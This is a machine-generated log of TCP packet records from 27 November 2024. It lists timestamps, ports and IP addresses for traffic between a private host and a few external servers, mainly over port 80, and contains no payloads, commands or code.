Nov 27, 2024 17:59:00.657802105 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.657962084 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.658401012 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.658453941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.658560038 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.658608913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.659257889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.659322977 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.659341097 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.659380913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.660103083 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.660193920 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.660216093 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.660237074 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.660881996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.660931110 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.660932064 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.660978079 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.661775112 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.661789894 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.661829948 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.662581921 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.662636995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.662688971 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.662724972 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.663387060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.663499117 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.663515091 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.663557053 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.664237022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.664285898 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.664364100 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.664413929 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.665070057 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.665121078 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.665143013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.665185928 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.665927887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.665939093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.665985107 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.666718960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.666779041 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.666866064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.666948080 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.667548895 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.667604923 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.667726040 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.667937040 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.668422937 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.668435097 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.668483973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.669271946 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.669327974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.669344902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.669387102 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.670115948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.670170069 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.670173883 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.670226097 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.670936108 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.671046019 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.671053886 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.671092987 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.671765089 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.671812057 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.671938896 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.672008038 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.672573090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.672621965 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.672745943 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.672859907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.673399925 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.673449039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.673455000 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.673521996 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.673578978 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.673607111 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.673648119 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.673667908 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.673687935 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.673710108 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.674236059 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.674292088 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.674364090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.674413919 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.675064087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.675116062 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.675162077 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.675236940 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.675904989 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.675956011 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.675995111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.676007032 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.677103996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.677151918 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.677151918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.677197933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.677556038 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.677603006 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.677660942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.677700043 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.678395987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.678452015 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.678554058 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.678706884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.679267883 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.679330111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.679349899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.679390907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.680195093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.680250883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.680314064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.680427074 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.680921078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.680969954 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.681054115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.681207895 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.681689978 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.681808949 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.688860893 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.688882113 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.688932896 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.688951969 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.689018011 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.698728085 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.698791027 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.713896990 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.713918924 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.713959932 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.713975906 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.713989973 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.714011908 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.730127096 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.730146885 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.730209112 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.730230093 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.730484962 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.740148067 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.740232944 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.741715908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.741782904 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.741816998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.741873980 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.742134094 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.742177963 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.742182970 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.742225885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.742676020 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.742732048 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.742760897 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.742804050 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.743571997 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.743624926 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.743680000 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.743724108 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.744056940 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.744115114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.744174957 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.744622946 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.744731903 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.744756937 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.744807005 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.745475054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.745604038 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.745665073 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.746167898 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.746326923 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.746356964 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.746401072 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.747061014 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.747104883 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.747136116 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.747148991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.747766972 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.747817039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.747910976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.748002052 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.748651981 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.748706102 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.748804092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.748855114 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.749438047 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.749488115 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.749560118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.749762058 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.750288963 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.750346899 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.750401020 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.750446081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.751096964 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.751147985 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.751250982 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.751297951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.780427933 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.780487061 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.780514002 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.780555010 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.780853987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.780895948 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.781136036 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.781232119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.781718016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.781729937 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.781775951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.782582998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.782697916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.782751083 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.783324003 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.783373117 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.783428907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.783478975 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.784145117 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.784193039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.784265041 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.784310102 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.785017014 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.785064936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.785211086 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.785270929 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.785917997 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.785939932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.785975933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.785998106 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.786708117 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.786757946 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.786791086 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.786835909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.787452936 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.787498951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.849868059 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.849898100 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.849944115 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.849966049 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.849989891 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.850003958 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.850109100 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:59:00.850130081 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:59:00.850168943 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:59:00.850197077 CET	49907	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:59:00.850218058 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:59:00.850233078 CET	49907	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:59:00.850940943 CET	49907	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:59:00.850940943 CET	49907	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:59:00.850955009 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:59:00.851103067 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:59:00.851147890 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:59:00.851197004 CET	49907	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:59:00.859437943 CET	49920	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.859472990 CET	443	49920	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.859560013 CET	49920	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.859822989 CET	49920	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.859833002 CET	443	49920	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.862761021 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.862780094 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.862831116 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.862848997 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.862869978 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.862890005 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.867010117 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.867089987 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.867117882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.867188931 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.868257999 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.868319988 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.868360043 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.868463993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.868475914 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.868504047 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.868505001 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.868530989 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.868570089 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.869152069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.869345903 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.869411945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.869446993 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.870100021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.870143890 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.870192051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.870265007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.870943069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.870985031 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.871041059 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.871164083 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.871625900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.871676922 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.871702909 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.871740103 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.872423887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.872487068 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.872561932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.872729063 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.873024940 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.873087883 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.873100996 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.873116970 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.873155117 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.873328924 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.873347998 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.873358011 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.873429060 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.873451948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.873577118 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.873591900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.873626947 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.874125957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.874170065 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.874237061 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.874273062 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.874944925 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.874996901 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.875051022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.875087023 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.875746012 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.875890970 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.875935078 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.876624107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.876663923 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.876691103 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.876702070 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.878987074 CET	49921	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.879030943 CET	443	49921	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.879160881 CET	49921	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.879390955 CET	49921	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.879417896 CET	443	49921	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.879947901 CET	49922	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.879960060 CET	443	49922	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.880023003 CET	49922	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.880194902 CET	49922	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.880203962 CET	443	49922	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.938170910 CET	49923	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:59:00.938209057 CET	443	49923	20.190.147.10	192.168.2.7
Nov 27, 2024 17:59:00.938293934 CET	49923	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:59:00.938766003 CET	49923	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:59:00.938781023 CET	443	49923	20.190.147.10	192.168.2.7
Nov 27, 2024 17:59:00.941317081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:01.086096048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:01.421917915 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:01.422015905 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:01.422068119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:01.422151089 CET	49850	80	192.168.2.7	185.215.113.206
